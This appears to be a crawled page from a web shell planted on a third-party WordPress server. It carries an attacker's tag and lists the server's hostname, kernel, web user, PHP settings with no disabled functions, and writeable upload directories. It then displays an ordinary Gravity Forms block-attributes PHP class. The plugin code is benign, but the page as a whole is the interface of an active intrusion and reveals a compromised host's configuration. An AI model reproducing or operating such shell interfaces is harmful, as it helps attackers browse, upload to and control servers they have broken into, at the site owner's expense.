Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/bamagocr/wp-content/plugins/gravityforms/includes/blocks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/bamagocr/wp-content/plugins/gravityforms/includes/blocks/class-gf-block-attributes.php
<?php

namespace Gravity_Forms\Gravity_Forms\Blocks;

/**
 * Gravity Forms Block Attributes class.
 *
 * @since 2.7.4
 *
 * Class GF_Block_Attributes
 */
class GF_Block_Attributes {

	public function store( $attributes ) {
		add_filter( 'gform_form_block_attribute_values', function( $attr ) use ( $attributes ) {
			$form_id = rgar( $attributes, 'formId', 0 );

			if ( ! array_key_exists( $form_id, $attr ) ) {
				$attr[ $form_id ] = array();
			}

			$attr[ $form_id ][] = $attributes;
			return $attr;
		} );
	}


}

Hry